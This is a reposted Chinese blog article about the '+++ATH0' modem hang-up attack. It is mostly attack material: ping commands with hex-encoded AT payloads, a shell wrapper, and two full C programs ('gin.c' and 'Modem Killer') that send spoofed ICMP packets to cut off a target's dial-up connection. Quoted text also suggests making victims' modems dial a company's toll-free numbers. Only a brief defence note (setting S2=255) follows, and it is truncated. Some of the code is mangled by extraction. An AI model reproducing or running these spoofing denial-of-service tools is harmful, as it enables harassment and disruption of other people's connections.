遠端控制調變解調器 (轉)

worldblog發表於2007-12-11
遠端控制調變解調器 (轉)[@more@]

控制調變解調器
( 2001-02-05)

By catsun@cners.com
經常上IRC和室的朋友,大概都有在聊的興起時突然吊線的情況吧,也許您想那沒關係,再上去嘛,可同樣的情況又發生了,這!◎#¥%是為什麼呢?排除您調變解調器的原因,那就是有人用一些“炸彈”轟炸你。我也有這樣的痛苦經歷,所以找了些資料讀給大家,比如:“怎樣遠端管理Modems?怎樣遠端傳送AT 命令?我知道他的IP,如何讓他斷線?我怎樣手動控制調變解調器?我怎樣防止ATH者?”

首先說一下,資料包再Inte或LAN上的簡單傳輸過程,假設,您的IP為 xx.xx.xx.xx,您要訪問的服
務器的IP是:yy.yy.yy.yy,您可以用一個簡單的C來傳送一些資料到yy.yy.yy.yy:

C Program at --------------Router ---------------Daemon at Destination’s Port

(xx.xx.xx.xx)(yy.yy.yy.yy)

上面是一個簡單的過程,下面我們描述的再深刻一些:

C Program at source-Modem of Source-Router--Modem of Destination--DestinationDaemon

由此可見,資料包透過兩個調變解調器,而且不只是資訊包透過他們,調變解調器的自身命令也透過。
現在,你知道一個與調變解調器通話需要使用調變解調器的命令---AT命令。很難精確的解釋AT。
大家都知道“賀氏”吧,是他們首先研發了一種基礎的調變解調器的命令,後來很多廠家也遵循這個標準
,所以多數調變解調器為“賀氏相容”---AT Command set.

————————————————————————————————————————————
要點:一個簡單基礎的AT命令是讓你撥號到你的ISP,你知道,當您按“撥號”按鈕時,你的DUN對你
的Modem發出這樣的命令:

ATDT or ATDP 電話號碼

我們分析一下,這個命令,‘AT’啟用Modem,第二部分告訴Modem撥號系統的型別,DT為,DP為脈衝
方式,最後的部分是你要撥的號碼。


說明:要對你的Modem傳送命令,你需要使資訊包處於命令的狀態。
-------------------------------------------------------------------------------------------
Modem只接受在命令的下的命令,在預設狀態下modem處於命令模式,連入後處於線上狀態下,這
時,所有的命令將被視為資訊包,不被處理。這意味著就算我們知道別人的,並向他的Modem傳送
AT命令,但對方的Modem將把AT命令視為資訊包處理,所以我們要讓我們的命令起作用,必須改變對方的
IP為命令模式。
當Modem處於線上狀態時,我們利用一個向它傳送+++串,將使其被改變為命令模式。這樣,當你
知道某人的IP後,向他的Modem傳送+++串和AT命令的話,你將可以遠端管理這個Modem,使它斷線,改
變它的模式,讓它向一個特殊號碼撥叫等。

下面我們用一個簡單的例子說明一下,H0是一個AT命令,它可以使Modem離線或掛起,如下:
+++ATH0

我們將用一個C程式實現這個攻擊,在這之前,我先講一下如何透過來實現一個AT命令,但遺憾的是
這個命令在系統下無效,至少從現有的資料來看,效果不大。

ping -c 5 -p 2b2b2b415453323d32353526574f310d ip

如果這個命令你不理解,可以看看*nix box:
$>man ping

下面的指令碼也可以實現AT。

#!/bin/sh

ping -p 2b2b2b415448300d $*

說明:ATH0命令並不能在所有的機器上實現,它依賴於Modem的品牌。
——————————————————————————————————————————————
我們從PacketStorm上找到了一個C程式,實現ICMP欺騙攻擊。

[ explanation ]

The way the exploit works is it hs escape/control sequences in a ICMP

echo_request packet (it contains the string +++ATH0) the +++ sends the

modem into escape mode (and if the guard time on the modem is set

ridiculously low) it will go into command mode and you can issue it an

ATH0 to hang up. It works on the reply, because it receives the

echo_request packet, then duplicates the packet with a new timestamp and

checksum, dest/source hosts and returns it to the sender, when it returns

it the string is sent to the modem, and thus hanging it up. There are a

few conditions that must be met for it to work (if you dont want to be

vulnerable to this, fix these!)

1) target computer must not filter ICMP echo_request and must know how to

reply to one if it gets one

2) target computer must be using a modem (you can't hangup DS3s, although

i suppose you could hangup telco return connections..if you can find one)

3) target computer must have a vulnerable modem (i.e. guard time is set

ridiculously low)

4) you have to be able to send spoofed packets (or..if you can't i guess

you can use your own address, but then the target knows where it came

from)

In my experimenting, I have also devised various fun ways to use this

program other than just nuking your buddy off IRC. In theory..it is

possible to modify the program to do fun stuff like make the target call

some number after it hangs up (i.e. +++ATH0,,,DT5551212) should make the

modem hangup, pause for 6 seconds then call 5551212..this is fun for

obvious reasons. Then the next variation I came up with is a smurf like

implementation in which you could make a script to Da class C subnet,

with the number of your least favorite company, since most company's have

800 numbers, not only does this cause chaos to the phone bank, but also

costs ~$.30 per call...but i don't condone any of those ideas of course,

this is just for experimental/educational purposes only, if you fix your

modems, none of this is possible, so get off your ass and fix it.

script kiddiez: here is your code...

--- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE ---

/*

* gin.c

* jpester@engr.csulb.edu

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define VERSION "1.2-05.05" //fixed old compiler compatibility problems

#define FRIEND "foo"

void usage( char *name );

void banner( void );

char *get_progname( char *fullname );

void done( int foo );

void gin( int port, struct sockaddr_in sin, struct sockaddr_in din );

unsigned short in_chksum( u_short *ipbuf, int iplen );

int main( int argc, char **argv )

{

struct hostent *sourceinfo, *destinfo;

struct sockaddr_in sin, din;

int sockfd, numpackets, i;

char *target, *source;

banner();

( argc < 4 ) ? usage( get_progname( argv[0] ) ) : ( void )NULL;

source = argv[1];

target = argv[2];

numpackets = ( atoi( argv[3] ) );

signal( SIGINT, done );

if( ( sourceinfo = gethostbyname( source ) ) == NULL )

{

printf( "cannot resolve source host!
" );

exit( -1 );

}

memcpy( ( caddr_t )&sin.sin_addr, sourceinfo->h_addr,

sourceinfo->h_length );

sin.sin_family = AF_INET;

if( ( destinfo = gethostbyname( target ) ) == NULL )

{

printf( "cannot resolve destination host!
" );

exit( -1 );

}

memcpy( ( caddr_t )&din.sin_addr, destinfo->h_addr,

destinfo->h_length );

din.sin_family = AF_INET;

if( ( sockfd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) < 0 )

{

printf( "Cannot get raw socket, you must be !
" );

exit( -1 );

}

printf( "Source Host : %s
",_ntoa( sin.sin_addr ) );

printf( "Target Host : %s
", inet_ntoa( din.sin_addr ) );

printf( "Number : %d
", numpackets );

printf( "Have some gin sucka" );

for( i = 0; i < numpackets; i++ )

gin( sockfd, sin, din );

printf( "

sent %d packet%c...done
", numpackets, ( numpackets > 1

)

? 's' : ( char )NULL );

return 0;

}

void usage( char *name )

{

printf( "usage: %s
[
]

", name

);

exit( 0 );

}

void banner( void )

{

printf( "
gin [ v%s ] / by amputee
", VERSION );

printf( "compiled for: %s

", FRIEND );

}

char *get_progname( char *fullname )

{

char *retval = strrchr( fullname, '/' );

return retval ? ++retval : fullname;

}

void done( int foo )

{

puts( "Exiting...
" );

exit( 1 );

}

void gin( int port, struct sockaddr_in sin, struct sockaddr_in din )

{

char *ginstring = "+++ATH0 +++ATH0 +++ATH0 +++ATH0 ";

char *packet;

int total;

struct iphdr *ip;

struct icmphdr *icmp;

size_t msglen = sizeof( ginstring ), iphlen = sizeof( struct iphdr );

size_t icplen = sizeof( struct icmphdr ), timlen = sizeof( struct

timeval );

int len = strlen( ginstring );

packet = ( char * )malloc( iphlen + icplen + len );

= ( struct iphdr * )packet;

icmp = ( struct icmphdr * )( packet + iphlen );

( void )gettimeofday( ( struct timeval * )&packet[( icplen + iphlen

)],

( struct timezone * )NULL );

memcpy( ( packet + iphlen + icplen + timlen ), ginstring, ( len - 4 )

);

ip->tot_len = htons( iphlen + icplen + ( len - 4 ) + timlen );

ip->version = 4;

ip->ihl = 5;

ip->tos = 0;

ip->ttl = 255;

ip->protocol = IPPROTO_ICMP;

ip->saddr = sin.sin_addr.s_addr;

ip->daddr = din.sin_addr.s_addr;

ip->check = in_chksum( ( u_short * )ip, iphlen );

icmp->type = ICMP_ECHO;

icmp->code = 0;

icmp->checksum = in_chksum( ( u_short * )icmp, ( icplen + ( len - 4 )

) );

total = ( iphlen + icplen + timlen + len + 16 );

sendto( port, packet, total, 0,

( struct sockaddr * )&din, sizeof( struct sockaddr ) );

free( packet );

}

// stolen from smurf

unsigned short in_chksum( u_short *ipbuf, int iplen )

{

register int nleft = iplen;

register int sum = 0;

u_short answer = 0;

while( nleft > 1 )

{

sum += *ipbuf++;

nleft -= 2;

}

if( nleft == 1 )

{

*( u_char * )( &answer ) = *( u_char * )ipbuf;

sum += answer;

}

sum = ( sum >> 16 ) + ( sum + 0xffff );

sum += ( sum >> 16 );

answer = ~sum;

return( answer );

}

--- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE ---

但有些機器執行此程式時出錯,將環境變數MALLOC_CHECK_改為1即可,如果編譯出錯(請用g++ -O3 -o
gin gin.c)
——————————————————————————————————————————————
下面有個更好一點的程式:

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define BUFFER 80

#define RESET "+++ATH0x0d"

#define PATCH "+++ATH0H1TD112x0d"

int resolve(const char *name, unsigned int port, struct sockaddr_in *addr);

unsigned short in_cksum(u_short *addr, int len);

int killmodem(int socket, unsigned long spoof_addr, struct sockaddr_in *dest_addr, unsigned
int type)

{

unsigned char *packet;

struct iphdr *ip;

struct icmphdr *icmp;

char *blah;

int rc;

int c;

int b=0;

switch(type)

{ case (0): { blah = RESET; break; }

case (1): { blah = PATCH; break; }

default: blah = RESET;

}

packet = (unsigned char *)malloc(sizeof(struct iphdr) +

sizeof(struct icmphdr) + BUFFER);

ip = (struct iphdr *)packet;

icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));

for(c=0;c
{

if(b==strlen(blah)) b=0;

packet[c]=blah[b];

b++;

}

/* This is the IP header of our packet. */

ip->ihl = 5;

ip->version = 4;

ip->tos = 0;

ip->id = htons(43210);

ip->frag_off = htons(0);

ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + BUFFER);

ip->ttl = 25;

ip->protocol = IPPROTO_ICMP;

ip->saddr = spoof_addr;

ip->daddr = dest_addr->sin_addr.s_addr;

ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr));

icmp->type = ICMP_ECHO;

icmp->code = 0;

icmp->checksum = 0;

icmp->checksum = in_cksum((u_short *)icmp,sizeof(struct icmphdr) + BUFFER);

if (sendto(socket,

packet,

sizeof(struct iphdr) +

sizeof(struct icmphdr) + BUFFER,0,

(struct sockaddr *)dest_addr,

sizeof(struct sockaddr)) == -1) { return(-1); }

free(packet);

return(0);

}

int main(int argc, char **argv)

{

struct sockaddr_in dest_addr;

unsigned int i,sock,type;

unsigned long src_addr;

if(geteuid()!=0)

{

fprintf(stderr, "You must be ROOT in order to run this!
");

return(-1);

}

printf("Modem Killer - Version 1.0b - Spoofable
");

printf("By Scrippie
");

if ((argc != 5)) {

printf("Use the following format:
");

printf("%s
", argv[0]);

printf("Where type means the type of the modem crash.
");

printf("---------------------------------------------
");

printf("Type 0: Makes the modem hangup
");

printf("Type 1: Patches a modem against attacks
");

printf("---------------------------------------------
");

printf("Greetz, Scrippie
");

return(-1);

}

switch(atoi(argv[4]))

{

case (0): { type = 0; break; }

case (1): { type = 1; break; }

default:{ printf("WRONG type you idiot!
"); return(-1); }

}

if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

{

fprintf(stderr,"No RAW sockets available...
");

return(-1);

}

if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }

src_addr = dest_addr.sin_addr.s_addr;

if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }

printf("Now sending the modem kill...
");

for (i = 0;i < atoi(argv[3]);i++)

{

if (killmodem(sock, src_addr, &dest_addr, type) == -1)

{

fprintf(stderr,"Cannot send packet...
");

return(-1);

}

usleep(10000);

}

}

/*****************************************************************************

*** Of course, no one has EVER seen this piece of networking code before... ***

*****************************************************************************/

int resolve(const char *name, unsigned int port, struct sockaddr_in *addr)

{

struct hostent *host;

memset(addr,0,sizeof(struct sockaddr_in));

addr->sin_family = AF_INET;

addr->sin_addr.s_addr = inet_addr(name);

if (addr->sin_addr.s_addr == -1) {

if (( host = gethostbyname(name) ) == NULL ) {

fprintf(stderr,"Unable to resolve host %s
",name);

return(-1);

}

addr->sin_family = host->h_addrtype;

memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);

}

addr->sin_port = htons(port);

return(0);

}

unsigned short in_cksum(u_short *addr, int len)

{

register int nleft = len;

register u_short *w = addr;

register int sum = 0;

u_short answer = 0;

/*

* Our algorithm is simple, using a 32 bit accumulator (sum), we add

* sequential 16 bit s to it, and at the end, fold back all the

* carry bits from the top 16 bits into the lower 16 bits.

*/

while (nleft > 1) {

sum += *w++;

nleft -= 2;

}

/* mop up an odd byte, if necessary */

if (nleft == 1) {

*(u_char *)(&answer) = *(u_char *)w ;

sum += answer;

}

/* add back carry outs from top 16 bits to low 16 bits */

sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */

sum += (sum >> 16); /* add carry */

answer = ~sum; /* truncate to 16 bits */

return(answer);

}

——————————————————————————————————————————————
如何保護:

想保護這個攻擊也很簡單,但建議您在讀這個部分之前,攻擊一下自己,看看自己是否有漏洞。
另外,保護您不受ATH0攻擊,防止你的Modem模式被改變,您需要:Set your init string to: S2=255.

——————————————————————————————————————————————
兩種方法改變你modem的初始數值:

1 更改你的registry key:

HKEY_LOCAL_MACHINESystemCurrentControlSetServicesClassModem


<source>


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-991264/,如需轉載,請註明出處,否則將追究法律責任。

相關文章